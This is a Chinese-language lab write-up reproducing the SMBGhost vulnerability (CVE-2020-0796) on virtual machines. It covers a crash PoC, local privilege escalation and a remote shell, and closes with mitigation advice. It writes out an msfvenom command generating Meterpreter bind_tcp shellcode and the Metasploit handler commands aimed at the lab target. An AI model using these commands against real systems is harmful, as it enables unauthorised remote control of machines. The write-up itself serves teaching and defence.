目录
一、引言
CVE-2020-0796是指影响微软Windows 10和Windows Server 2019的一个漏洞,通常被称为"SMBGhost"或"CoronaBlue"。这是一个严重的漏洞,涉及SMBv3协议的一部分。
漏洞类型: 安全性协议漏洞。该漏洞影响SMBv3协议,该协议用于在局域网中共享文件和打印机。
漏洞影响:影响运行Windows 10和Windows Server 2019的系统。攻击者可以利用此漏洞在未经授权的情况下执行任意代码。
攻击方式:攻击者可以通过发送特制的SMBv3请求来触发漏洞。成功利用漏洞的攻击者可以执行任意代码,从而控制受影响的系统。
修复措施: 微软在2020年3月的安全更新中发布了相应的修复。用户应确保其操作系统和相关的安全更新已经安装,以防止受到这个漏洞的威胁。
二、漏洞原理
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
2.1影响版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
2.2漏洞复现环境
目标机:192.168.108.136--> windows10 x64 1909 OS版本:10.0.18362(虚拟机)
攻击机:
192.168.108.137--> Kali Linux x64 (虚拟机)
192.168.22.232 --> Microsoft Windows 11 专业版10.0.19044 (物理机)
三、漏洞复现过程
3.1建立连接
在VMware中开启分别开启靶机和攻击机
使用ifconfig 与ipconfig命令查看各自地址
使用Ping命令相互查看是否可通信
若无法查看IP地址
使用 dhclient -v命令重新分配ip地址
再使用Ping检测是否可通信
二者可以相互ping通说明攻击机与靶机可通信
利用PoC脚本扫描脚本,查看靶机是否可攻击
显示靶机可以利用该漏洞攻击
在kali Linux中运行PoC脚本
查看靶机状态
靶机显示蓝屏攻击成功
3.1攻击(2):本地提权
从物理机导入提权EXP脚本
关闭防火墙:微软在后续版本中对系统打上了系统补丁,故该脚本无法直接运行
攻击前:查看当前用户为普通用户(whoami命令执行)
攻击后:查看当前用户为管理员
提权成功
3.3攻击(3):反弹shell
msfvenom -p windows/x64/meterpreter/bind_tcp lport=9999 -f py -o shellcode.txt
生成一个payload的shellcode
生成的shellcode如下图
将外部导入的EXP脚本的exploit.py的参数user-load替换为生成的shellcode
替换后的新脚本如下:
在kali中开启侦听:
1. msfconsole: 启动Metasploit控制台。
2. use exploit/multi/handler: 指定使用Metasploit的"multi/handler"模块,该模块用于处理多种类型的攻击载荷。
3. set payload windows/x64/meterpreter/bind_tcp: 设置使用Meterpreter作为攻击载荷,该载荷用于创建一个绑定式TCP shell,针对64位Windows系统。
4. set lport 9999: 设置监听器使用的本地端口号为9999。
5. set rhost 192.168.108.136: 设置远程目标主机的IP地址为192.168.108.136。然而,在这里使用的是`bind_tcp`,它不需要指定远程主机,因此在这种情况下,这个命令没有实际效果。
6. run: 执行前面设置的模块和参数,开始监听指定的端口,等待目标系统连接。
新开一个终端运行更改后的explloit脚本
运行EXP脚本
返回侦听界面即可进入靶机
输入shell可进入靶机的shell界面
攻击成功!
- 安装最新的安全更新: 确保Windows操作系统已经安装了Microsoft发布的最新安全更新。
2. 网络分段: 将网络分为不同的区域,将不同的系统放置在不同的网络中。这样可以减少横向移动的可能性,即使某个系统受到攻击,攻击者也更难在网络中传播。
- 启用防火墙:在上述攻击中我们关闭的防火墙,所以在现实应用中启用主机防火墙并限制不必要的网络流量是十分必要的
4. 网络监控: 在网络上设置监控和日志记录,以便及时检测和响应异常活动。
5. 应用补丁管理:建立有效的应用补丁管理程序,确保系统和应用程序都及时安装了最新的安全补丁。